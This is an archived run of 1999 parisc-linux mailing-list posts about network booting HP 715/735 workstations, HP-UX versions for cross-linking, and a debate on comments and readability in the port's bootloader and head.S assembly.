some of the LIF boot info beyond the reach of IODC.  Setting up the
boot disk with LVM changes the disk layout such that it works.
I know LVM is required to boot from 4GB (or greater sized) disks too.
You might try LVM.

This is another reason parisc-linux boot loader needs to support LVM.

I don't know what the rbootd problem is...

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbooting an 735?
Date: Fri, 22 Oct 1999 09:03:57 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <199910221503.JAA22360@debian.fc.hp.com>
References: <199910220556.GAA01903@scimitar.dolphinics.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618574 26820 80.91.229.3 (22 Nov 2014 01:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: simen-tt@online.no
Original-X-From: bame@debian.fc.hp.com  Fri Oct 22 09:03:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA20617
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 09:03:21 -0600
Original-Received: (qmail 14683 invoked by uid 15267); 22 Oct 1999 15:04:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14673 invoked from network); 22 Oct 1999 15:04:17 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 15:04:17 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA13424;
	Fri, 22 Oct 1999 09:03:58 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA04971; Fri, 22 Oct 1999 09:03:57 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA22360;
	Fri, 22 Oct 1999 09:03:57 -0600
In-reply-to: Your message of "Fri, 22 Oct 1999 08:01:42 +0200."
             <199910220556.GAA01903@scimitar.dolphinics.no> 
Xref: news.gmane.org gmane.linux.ports.parisc:6222

= Is anybody rbooting an 735?
= [...]
= So - Is there anybody out there with a 735 that /does/ request an 
= image? 

Mine didn't work either.  It's *possible* there's newer firmware
which would help.

	-Paul Bame


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Fri, 22 Oct 1999 08:19:19 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <199910221519.IAA00565@milano.cup.hp.com>
References: <38107330.E3716195@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618575 26821 80.91.229.3 (22 Nov 2014 01:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Original-X-From: grundler@cup.hp.com  Fri Oct 22 09:18:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA21087
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 09:18:25 -0600
Original-Received: (qmail 20291 invoked by uid 15267); 22 Oct 1999 15:19:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20274 invoked from network); 22 Oct 1999 15:19:21 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 15:19:21 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA02374
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 09:19:15 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA00565; Fri, 22 Oct 1999 08:19:19 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 22 Oct 1999 16:22:40 PDT."
             <38107330.E3716195@spacetec.no> 
Xref: news.gmane.org gmane.linux.ports.parisc:6223

Magne =?iso-8859-1?Q?=D8stlyngen?= wrote:
> > The 700 has an ancient IO architecture that we don't have any
> > documentation on, so it's not high on the list of priorities.
> 
> But it is possible to get the docs from HP?

Yes. If HP can find them and verify it doesn't contain someone else's
Intellectual Property (which isn't published already).
HP sees releasing old docs as a low priority since it doesn't
generate revenue. IMHO, the only way this is going to happen is
if some HP person does this in their spare time and then gets the
right signatures/approval.

I've done some of this but don't care about boxes older than 715's
or servers older than K or D class.

> > However, if
> > someone has patches to support it, we'd be happy to apply them.
> > As for cross compiling... we're forced to use HPUX because we don't have a
> > reasonable and functioning cross linker. More on that later.
> 
> Is it possible to compile with linux, and do only the linking on the hp?

This sounds possible but doesn't seem reasonable.

> (It isn't very fast.. :)  Can I link with HPUX 9.03? (probably not)
> 10.30? (It doesn't run 11.x)

Use 10.20. It should run on your 710. Don't use 10.30 as it was never
intended for distribution on workstations and certainly doesn't have
the support which WSY has poured into 10.20.

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Fri, 22 Oct 1999 17:15:02 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <99102217512801.00256@P100>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618575 26822 80.91.229.3 (22 Nov 2014 01:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:35 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>
To: parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>, frowand@cup.hp.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Fri Oct 22 09:50:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA21618
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 09:50:47 -0600
Original-Received: (qmail 32594 invoked by uid 15267); 22 Oct 1999 15:51:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32572 invoked from network); 22 Oct 1999 15:51:43 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 15:51:43 -0000
Original-Received: (qmail 10334 invoked from network); 22 Oct 1999 15:51:40 -0000
Original-Received: from dialppp-1-81.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.1.81)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 22 Oct 1999 15:51:40 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:6224

Am Fri, 22 Oct 1999 schrieb Alex deVries:
> On Thu, 21 Oct 1999, Frank Rowand wrote:
> > Ok, tirade mode off.  This is where my newbie status becomes apparent.  Please
> > excuse any foot in mouth here.  I looked at the Puffin web page and didn't
> > notice anything about the process of making sure that code that is submitted
> > has some minimal level of quality.  Is it just a matter of the community
> > applying peer pressure?
> 
> In fact, it's *ALL* about the community applying pressure.
> 
> If the code in head.S is a bit rough, remember that it was just about the
> first PA-RISC assembler that Helge or Philipp had ever written, so do keep
> that in mind.  Also, at the start of the project, there was a very
> conscious effort to only be concerned with 1.1 code.  It doesn't surprise
> me in the least that it's not 2.0 compliant.
> 
> I agree that the code is unreadable though;  I've simply passed it off on
> not being able to understand parisc assembler well enough.
> 
> We'd all appreciate it if you could commit appropriate changes to make the
> code clearer.
> 
> - Alex

Thanks Alex,

Yes, we all know that the boot-loader really needs a complete clean-up, and as
it looks like Im the maintainer of the bootloader. 

Its really funny to see people from HP talking to the list and saying somthing
about code-quality, but only as a little reminder:
When I wrote the bootloader I had no documentation on bootloading from HP at
all, no knowledge of parisc and got it only working with trial & error methods
in day and night-sessions. More, its first goal was to get at least a kernel
booted so that the real kernel-development could start. (See my messages in the
commits) The end of this all was this really ugly bootloader with many until
now unused enhancements (ELF-loader and ramdisk-support) which can be easily
removed.

More I think there are currently MUCH MORE IMPORTANT things to be fixed in the
kernel than beautifying a (mostly) working bootloader which will be completely
rewritten in the future. When time has come and we have clean code to read
filesystems like LIF and HFS, then this can be easily integrated into a
completely rewritten PALO (PArisc-LOader).

But currently I have nearly no time at all (as many others on this list), so if
anyone has time to fix things, beautify the code and send me patches or
enhancements I really would like to integrate them at once.
SO: PLEASE dont talk about quality of source code (we all know, that the
bootloader is bad!) , just send patches !!!!!

NB: It seems, that many people wants to talk about this over and over again.
All this was already said some weeks ago.....

Helge Deller.

X-From-Line: hppa-linux@thepuffingroup.com  Sat Feb 27 21:57:51 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id VAA14124
	for <pcj@merlin.pcj.primenet.com>; Sat, 27 Feb 1999 21:57:50 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Sat, 27 Feb 1999 21:57:50 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id WAA14383
	for <pcj@smtp-local.primenet.com>; Sat, 27 Feb 1999 22:28:44 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id WAA25003
	for <pcj@primenet.com>; Sat, 27 Feb 1999 22:29:44 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd024984; Sat Feb 27 22:29:41 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id AAA19498;
	Sun, 28 Feb 1999 00:09:40 -0500
Resent-Date: Sun, 28 Feb 1999 00:09:40 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36D8CF9C.C34C4E6B@ruhr-uni-bochum.de>
Date: Sun, 28 Feb 1999 06:09:48 +0100
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.06 [de] (Win95; I)
MIME-Version: 1.0
To: hppa-linux@puffingroup.com
References: <199902172309.RAA27695@equator.com> <36CB80C1.A9FEDC4A@ottawa.com>
Content-Type: multipart/mixed; boundary="------------1E9AE8E6D28773FED89DC840"
Subject: [hppa-linux] Help: bootstrap test
Resent-Message-ID: <"QYJyS3.0.am4.K-Css"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/130
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: a2268bd7d82b0ab39445886f201debf6
Lines: 48
Xref: merlin.pcj.primenet.com palinux:101

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------1E9AE8E6D28773FED89DC840
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all !

Maybe someone with a working BOOTP or RBOOTD could please give me some help/advice,
how to set up the network-booting for an HP 715/64 and an iA32-SuSE-6.0-Distribution
?

Any help would be great !

I already tried both possibilities and have had until now no success (Telnet and
Network is working!) !
I also changed the "boot-path" !
What do I have to enter in /etc/services,  a.s.o ?
I thought, I entered all OK.

Does anybody have booted an 715/64 already ?

Thanks,
Helge Deller.


--------------1E9AE8E6D28773FED89DC840
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Description: Visitenkarte fr Helge Deller
Content-Disposition: attachment; filename="vcard.vcf"
Content-Transfer-Encoding: 7bit

begin:          vcard
fn:             Helge Deller
n:              Deller;Helge
adr:            Weifeldweg 7;;;Bochum;;44795;Deutschland
email;internet: Helge.Deller@ruhr-uni-bochum.de
x-mozilla-cpt:  ;0
x-mozilla-html: TRUE
version:        2.1
end:            vcard


--------------1E9AE8E6D28773FED89DC840--

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbooting an 735?
Date: Fri, 22 Oct 1999 11:53:51 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <199910221553.LAA01916@hiauly1.hia.nrc.ca>
References: <199910221503.JAA22360@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618575 26825 80.91.229.3 (22 Nov 2014 01:09:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:35 +0000 (UTC)
Cc: simen-tt@online.no, parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Oct 22 09:54:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA21773
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 09:54:18 -0600
Original-Received: (qmail 1536 invoked by uid 15267); 22 Oct 1999 15:55:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1513 invoked from network); 22 Oct 1999 15:55:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 15:55:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA01916;
	Fri, 22 Oct 1999 11:53:52 -0400 (EDT)
In-Reply-To: <199910221503.JAA22360@debian.fc.hp.com> from "Paul Bame" at Oct 22, 99 09:03:57 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6225

> = Is anybody rbooting an 735?

I am not rbooting but recent kernels that I have built up to
yesterday hang with no console output after the ipl boot message
I couldn't define CONFIG_IODC_CONSOLE with yesterday's sources
because the procedure iodc_con_init is not defined anywhere.
There also needs to be definitions for inb, outb, etc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Fri, 22 Oct 1999 12:09:10 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <199910221609.MAA01955@hiauly1.hia.nrc.ca>
References: <199910221519.IAA00565@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618576 26830 80.91.229.3 (22 Nov 2014 01:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:36 +0000 (UTC)
Cc: magne@spacetec.no, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Oct 22 10:12:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA22034
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 10:12:17 -0600
Original-Received: (qmail 8281 invoked by uid 15267); 22 Oct 1999 16:13:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8271 invoked from network); 22 Oct 1999 16:13:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 16:13:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA01955;
	Fri, 22 Oct 1999 12:09:11 -0400 (EDT)
In-Reply-To: <199910221519.IAA00565@milano.cup.hp.com> from "Grant Grundler" at Oct 22, 99 08:19:19 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6226

> > (It isn't very fast.. :)  Can I link with HPUX 9.03? (probably not)
> > 10.30? (It doesn't run 11.x)
> 
> Use 10.20. It should run on your 710. Don't use 10.30 as it was never
> intended for distribution on workstations and certainly doesn't have
> the support which WSY has poured into 10.20.

I won't describe the woes I have had upgrading my 735 to 10.20
but I have had all kinds of problems with disk timeouts and unrecoverable
LPMCs with 10.20 on my 735.  These problems are only now getting
worked out of 10.20 (see recent patches to wsio driver, etc).
My 735 has about a dozen scsi devices on threee buses, so it
seriously stresses the IO architecture.

The machine ran for years under 9.01 with experiencing any problems
of this kind.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Fri, 22 Oct 1999 09:06:39 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <199910221606.JAA00597@milano.cup.hp.com>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618576 26834 80.91.229.3 (22 Nov 2014 01:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Fri Oct 22 10:21:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA22193
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 10:21:43 -0600
Original-Received: (qmail 11992 invoked by uid 15267); 22 Oct 1999 16:22:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11977 invoked from network); 22 Oct 1999 16:22:40 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 16:22:40 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA21095;
	Fri, 22 Oct 1999 10:22:39 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA00597; Fri, 22 Oct 1999 09:06:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 21 Oct 1999 22:33:15 PDT."
             <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6227

Alex deVries wrote:
...
> If the code in head.S is a bit rough, remember that it was just about the
> first PA-RISC assembler that Helge or Philipp had ever written, so do keep
> that in mind.  Also, at the start of the project, there was a very
> conscious effort to only be concerned with 1.1 code.  It doesn't surprise
> me in the least that it's not 2.0 compliant.
> 
> I agree that the code is unreadable though;  I've simply passed it off on
> not being able to understand parisc assembler well enough.

Alex,
I think you are walking around Frank's point:
	It doesn't matter which language the code is written in.
	The code should be readable by a wide audience.
	(Understanding will still be limited to a subset)

(Corallary: Because it's assembler, comments and #define's are required
for clarity and there were none.)

> We'd all appreciate it if you could commit appropriate changes to make the
> code clearer.

That's what I suggested earlier to him. My sense is the "Open Source Way"
(similar to the "HP Way") is to do, not to complain.

[ soapbox on ]
I agree with Frank's gripe too...IMHO, it would be really bad thing for
parisc-linux if he not to contribute.  My point is contributors should
remember out of 6 billion other people on the planet, a few capable ones
will choose to look at the code because they want to add functionality or
fix "bugs". And they can change their mind after the first look.

And worse would be if only-slightly-less-capable folks contribute stuff which
breaks various platforms (we'll get there). And even with well commented,
supportable code, it could take a while to sort out which code is "broken"
and which platforms it's needed on. I would prefer if someone like Frank
just did it right the first time around...but if I can't have that I'd
at least like him to help look at problems in the successive passes.
[ soapbox off ]


grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Fri, 22 Oct 1999 10:32:04 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <38109F94.7DA3551A@hp.com>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com> <99102217512801.00256@P100>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618576 26837 80.91.229.3 (22 Nov 2014 01:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:36 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Fri Oct 22 11:31:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA22729
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 11:31:18 -0600
Original-Received: (qmail 8759 invoked by uid 15267); 22 Oct 1999 17:32:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8739 invoked from network); 22 Oct 1999 17:32:14 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 17:32:14 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA12224
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 11:32:11 -0600 (MDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id KAA00223; Fri, 22 Oct 1999 10:32:04 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6228

Helge Deller wrote:
> 
> Am Fri, 22 Oct 1999 schrieb Alex deVries:
> > On Thu, 21 Oct 1999, Frank Rowand wrote:
> > > Ok, tirade mode off.  This is where my newbie status becomes apparent.  Please
> > > excuse any foot in mouth here.  I looked at the Puffin web page and didn't
> > > notice anything about the process of making sure that code that is submitted
> > > has some minimal level of quality.  Is it just a matter of the community
> > > applying peer pressure?
> >
> > In fact, it's *ALL* about the community applying pressure.
> >
> > If the code in head.S is a bit rough, remember that it was just about the
> > first PA-RISC assembler that Helge or Philipp had ever written, so do keep
> > that in mind.  Also, at the start of the project, there was a very
> > conscious effort to only be concerned with 1.1 code.  It doesn't surprise
> > me in the least that it's not 2.0 compliant.
> >
> > I agree that the code is unreadable though;  I've simply passed it off on
> > not being able to understand parisc assembler well enough.
> >
> > We'd all appreciate it if you could commit appropriate changes to make the
> > code clearer.
> >
> > - Alex
> 
> Thanks Alex,
> 
> Yes, we all know that the boot-loader really needs a complete clean-up, and as
> it looks like Im the maintainer of the bootloader.
> 
> Its really funny to see people from HP talking to the list and saying somthing
> about code-quality, but only as a little reminder:
> When I wrote the bootloader I had no documentation on bootloading from HP at
> all, no knowledge of parisc and got it only working with trial & error methods
> in day and night-sessions. More, its first goal was to get at least a kernel
> booted so that the real kernel-development could start. (See my messages in the

<stuff deleted>

First, thanks to all for the gentle replies.  I like this community!!

Alex, I guess I wasn't clear enough about what my issue was.  I wasn't complaining
about the actual code (I try to avoid that, as long as code is mostly correct
(works)).  My concern was that I, with twelve years experience with PA-RISC
(including four different OSs - MPE, NextStep, HP-RT, and HP-UX), had to go to
external documentation to read what is trivial code (a PDC call) when a
one line comment would have made it obvious that the code was calling
PDC_BLOCK_TLB().  For me, just annoying - for someone who might be missing one
or two of the bits of knowledge, potentially a multi-hour sidetrack to
understand some trivial code.  I want to encourage people to make the code
easily readable so I don't have to waste a lot of time when my help is requested
to debug or contribute code.

Helge, I wasn't complaining about the boot-loader, I think you are mixing two
different threads together.  And I'm not complaining about the algorithms,
the instructions coded, correctness of code, or anything like that.  I'm just
saying that the sequence that I had to read in head.S to figure out the
cause of the HPMC on the C3000 needed at least a comment to make it readable
without having to know about and consult external documents.  (And Grant made
a good point that using defines instead of numbers can also increase
readability significantly).

And yes, I suspect that adding the comment to the code will be my first
submission to parisc linux (how embaressing to submit a comment before
submitting any code!).

Thanks all,

Frank Rowand


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot loader
Date: Fri, 22 Oct 1999 11:03:07 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <199910221803.LAA05807@bart.allegro.com>
References: <199910220139.SAA29964@bart.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618576 26841 80.91.229.3 (22 Nov 2014 01:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Fri Oct 22 12:02:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA23007
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 12:02:12 -0600
Original-Received: (qmail 20809 invoked by uid 15267); 22 Oct 1999 18:03:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20802 invoked from network); 22 Oct 1999 18:03:09 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 18:03:09 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id LAA05807
	for parisc-linux@thepuffingroup.com; Fri, 22 Oct 1999 11:03:08 -0700
